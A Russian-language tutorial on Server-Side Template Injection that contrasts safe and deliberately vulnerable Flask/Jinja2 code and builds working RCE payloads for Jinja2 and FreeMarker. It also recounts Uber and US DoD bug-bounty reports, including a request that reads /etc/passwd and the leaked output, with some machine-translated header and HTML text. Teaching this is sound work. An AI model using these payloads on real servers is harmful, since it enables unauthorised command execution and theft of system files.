SSTI в действии: как шаблон становится RCE
Введение
Всем привет! Сегодня мы чуть-чуть окунёмся в мир веб-пентеста и рассмотрим простенькую, но довольно опасную уязвимость, с которой может столкнуться каждый разработчик, использующий в своём коде удобную и, казалось бы, безобидную функцию шаблонов — Server-Side Template Injection.
С чего всё началось?
Впервые на широкую публику уязвимость была упомянута на BlackHat 2015 Джеймсом Кеттлом, который является директором по исследованиям в PortSwigger.
Со слов Джеймса, уязвимость была обнаружена при работе с одним из клиентов, у которого была система генерации электронных писем с динамическим контентом.
Его глаз сразу зацепил тот факт, что в месте вставки данных шаблона можно попытаться вывести не просто имя пользователя, а его пароль. Хоть попытка была безуспешной, при более детальном изучении документации FreeMarker он обнаружил, что в ней есть прямое указание на возможную уязвимость удалённого выполнения кода (см. скрины выше).
Если не учитывать возможную блокировку классов/методов, то payload для FreeMaker мог выглядеть так (чуть позже разберём, как оно работает детально):
${"freemarker.template.utility.Execute"?new()("id")}Второй встречей с SSTI стал репорт клиента о продукте PortSwigger, где говорилось, что BurpSuite не смог найти явный XSS. При ручном тестировании выяснилось, что это SSTI, их действительно легко перепутать, так как при SSTI можно также делать инъекцию HTML-кода. После этого случая сканирование через BurpSuite научили находить эту уязвимость, а в списки полезных нагрузок Intruder был добавлен словарь с полезными нагрузками SSTI.
Теперь рассмотрим детальнее, в каких случаях может появиться данная уязвимость и как она работает со стороны разработчика.
Методология внедрения
Джеймс в своём исследовании определил методологию для эффективного процесса атаки. Выглядит она следующим образом:
Я буду её придерживаться в дальнейшем ходе статьи.
Detect & Identify
Как стало понятно ранее, SSTI встречается в веб-приложениях, в которых есть функционал шаблонизаторов, имеющих возможность принимать ввод пользователя с последующей обработкой. Если ввод пользователя никак не фильтруется и напрямую вставляется в шаблон, то возникает уязвимость.
Если возникло подозрение, что данная уязвимость присутствует в веб-приложении, верным способом проверить эту теорию будет перебор полезных нагрузок, который можно сделать через BurpSuite и встроенные в него словари, либо же найти их отдельно и использовать Ffuf. Если уязвимость сработает, то по полезной нагрузке можно определить движок шаблонизатора.
Джеймс в своём материале сделал граф идентификации шаблонных движков в зависимости от реакции на полезную нагрузку. Я чуть расширил оригинальный граф, добавив на него на данный момент актуальные движки и пару новых полезных нагрузок.
Предположим, что наш движок Jinja2. Рассмотрим две реализации небольшого кода, цель которого — получать из запроса имя пользователя и выводить «Dear {{пользователь}}». Одна из реализаций будет безопасной, а другая — уязвимой.
Сначала рассмотрим безопасный вариант, при котором данные пользователя вставляются в функции рендера. Что бы мы ни ввели, будь то XSS или SSTI payload, он будет рассматриваться программой как текст и не будет выполнятся при рендере.
@app.route('/greet')
def safe_greeting():
user_name = request.args.get('name', 'Guest')
template = "Dear {{ name }}"
return render_template_string(template, name=user_name)
curl "http://127.0.0.1:5000/greet?name=NoneDev"
curl "http://127.0.0.1:5000/greet?name=%7B%7B8*8%7D%7D"
Как видно на скриншоте, при втором запросе с полезной нагрузкой приложение отработало, как и должно было, просто разместив её текстом в ответе.
Теперь перейдём к уязвимому endpoint-у:
Здесь ввод пользователя вставляется напрямую в шаблон, после чего уже происходит рендер.
@app.route('/unsafe-greet')
def unsafe_greeting():
user_name = request.args.get('name', 'Guest')
template = f"Dear {user_name}"
return render_template_string(template)curl "http://127.0.0.1:5000/unsafe-greet?name=NoneDev"
curl "http://127.0.0.1:5000/unsafe-greet?name=%7B%7B8*8%7D%7D"
В данном случае второй запрос выдал нам ответ на операцию 8 * 8, что говорит о том, что код внутри {{}} выполняется и SSTI присутствует.
Exploit
Теперь, когда мы знаем, что уязвимость есть, а также знаем движок, перейдем к изучению документации, чтобы с помощью особенностей языка/движка получить полноценный RCE. Обычно получение происходит через цепочку обращений к классам и их методам, начиная от класса шаблона, заканчивая классом, у которого есть метод, позволяющий выполнять произвольный код в ОС.
Так как у нас в примере используется Jinja2, который является движком в Python, в самом начале у нас будет класс самого шаблона, который мы можем получить с помощью:
self # Ссылка на текущий класс
У каждого класса есть метод (функция) инициализации "__init__", которая выполняется при создании объекта класса:
self.__init__
У функций, в свою очередь, есть атрибут "__globals__", который содержит глобальные имена модуля, такие как переменные и импорты:
self.__init__.__globals__
В словаре "__globals__” хранится ключ "__builtins__”, который указывает на набор встроенных в язык функций (len, print и т.д.):
self.__init__.__globals__.__builtins__
Среди встроенных функций есть "__import__", которая осуществляет механизм импорта модулей, с помощью которого можно импортировать модуль "os", который имеет возможность выполнять команды в ОС:
self.__init__.__globals__.__builtins__.__import__("os").popen("id").read()На этом наша полезная нагрузка закончена. Остаётся только обернуть её в двойные фигурные скобки, закодировать в URL-кодировку и отправить:
curl "http://127.0.0.1:5000/unsafe-greet?name=%7B%7Bself%2E%5F%5Finit%5F%5F%2E%5F%5Fglobals%5F%5F%2E%5F%5Fbuiltins%5F%5F%2E%5F%5Fimport%5F%5F%28%27os%27%29%2Epopen%28%22id%22%29%2Eread%28%29%7D%7D"
В результате вместо имени пользователя после «Dear» идёт результат команды id.
Публичные отчёты
В окончании разбора данной уязвимости рассмотрим два реальных случая.
В большей части отчётов, которые мне удалось найти по данной уязвимости, происходит тестирование систем генерации электронных писем. Случай с Uber как раз такой из них.
Uber
Багхантер: Orange Tsai (orange)
Ссылка на отчёт: https://hackerone.com/reports/125980
Уязвимость была обнаружена на домене rider.uber.com, который используется для обслуживания пассажирской части веб-приложения.
Как и у всех сервисов, которые работают с аккаунтами пользователей, при изменении профиля (в данном случае было изменено имя человека) на привязанный email приходит уведомление об этом действии:
Hi {name},
The following information on your Uber account has recently been updated.
- name
If you did not make this change or need assistance, please visit: t.uber.com/account-update
Как и в примере, который рассматривался выше, Uber использовал шаблонизатор Jinja2 для создания писем с уведомлениями. В письма подставлялись имена пользователей. Orange Tsai попробовал изменить имя на {{ '7'*7 }} и в результате получил письмо:
Развить до RCE не удалось из-за ограничения по длине имени, но и сказать на 100%, что это невозможно, точно нельзя.
В результате Uber принял ошибку и устранил её, выплатив багхантеру $10 000.
Следующий пример более свежий и показывает, что данная уязвимость встречается не только в самописных сервисах генерации писем, но и уже в достаточно зрелых коммерческих проектах, которые использует в том числе и государство.
Министерство обороны США
Багхантер: Nithissh Sathish (v1ct0rv0nd00m)
Ссылка на отчёт: https://hackerone.com/reports/1537543?utm_source=chatgpt.com
Насколько я понял из отчёта, исследователь Nithissh Sathish искал цели, уязвимые к CVE-2022-22954.
https://dbugs.ptsecurity.com/vulnerability/PT-2022-2145?fts[value]=CVE-2022-22954
CVE-2022-22954 — уязвимость VMware Workspace ONE Access, благодаря которой злоумышленник может без аутентификации отправить запрос на «/catalog-portal/ui/oauth/verify» с уязвимым к SSTI параметром «deviceUdid». Движком, использующимся в том шаблоне, был ранее упомянутый FreeMarker. Он отвечал за вставку индификатора устройства на страницу ошибки. Для демонстрации данной уязвимости была составлена следующая нагрузка:
https://████/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}В результате хост выдал следующее:
HTTP/1.1 400
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Set-Cookie: EUC_XSRF_TOKEN=6386e149-ff55-4a34-b474-30e6c0c62299; Path=/catalog-portal; Secure
Cache-Control: no-cache,private
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Строгая транспортная безопасность: максимальный возраст = 31536000; Включает поддомены
Параметры X-рамки: ТОГО ЖЕ ПРОИСХОЖДЕНИЯ.
Тип контента: текст / html; кодировка = UTF-8
Язык контента: en-US
Дата: Пн, 11 апр. 2022 г. 15:03:40 GMT
Подключение: закрыто
Длина содержимого: 3576
<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
<head>
<title>Страница с ошибкой</title>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge"/>
<style>
body {
background: #465361;
}
.error-container {
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
-ms-transform: translate(-50%, -50%);
text-align: center;
width: 25%;
background-color: #fff;
padding: 20px;
box-shadow: 0 3px 2px -2px rgba(0, 0, .5, 0.35);
border-radius: 4px;
}
.error-img-container svg {
width: 40px;
}
.error-text-heading {
font-weight: bold;
padding-top: 5px;
padding-bottom: 10px;
}
.error-text-container a {
text-decoration: none;
}
</style>
</head>
<body>
<div class="error-container">
<div class="error-img-container">
<svg id="icon-warning-big" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
<путь d="M28.48,24.65,17.64,5.88a1.46,1.46,0,0,0-1.28-.74h0a1.46,1.46,0,0,0-1.28.74L4.25,24.64a1.48,1.48,0,0,0,1.28,2.22H27.2a1.48,1.48,0,0,0,1.28-2.21Zm-1.07.86a.24.24,0,0,1-.21.12H5.53a.24.24,0,0,1-.21-.37L16.15,6.49a.24.24,0,0,1,.21-.12h0a.24.24,0,0,1,.21.12L27.41,25.26A.23.23,0,0,1,27.41,25.51Z"
fill="#991700" stroke-width="0"/>
<circle cx="16.36" cy="13.53" r="0.92" fill="#f38b00" stroke-width="0"/>
<path d="M16.36,16.43a.62.62,0,0,0-.62.62v5.55a.62.62,0,0,0,1.23,0V17A.62.62,0,0,0,16.36,16.43Z"
fill="#991700" stroke-width="0"/>
</svg>
</div>
<div class="error-text-heading">Запрос не выполнен</div>
<div class="error-text-container">
<p>Пожалуйста, обратитесь к своему ИТ-администратору.</p>
<a href="/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D">Выйти</a>
</div>
</div>
</body>
<script>
if (console && console.log) {
console.log("auth.context.invalid");
console.log("Контекст авторизации недействителен. Получен запрос на вход с кодом клиента: ███████, идентификатор устройства: root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/dev/null████████
}
</script>
</html>
* Как видите, в ответе содержится информация из **/etc/passwd**
## Предлагаемые меры по смягчению последствий/исправлению ситуации
Обновите экземпляр до последней версииОтчёт был принят, а уязвимость устранена.
Общие источники
https://youtu.be/3cT0uE7Y87s?si=rgVPPvzzFqSDGTxt
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
https://habr.com/ru/companies/bizone/articles/896556/
https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html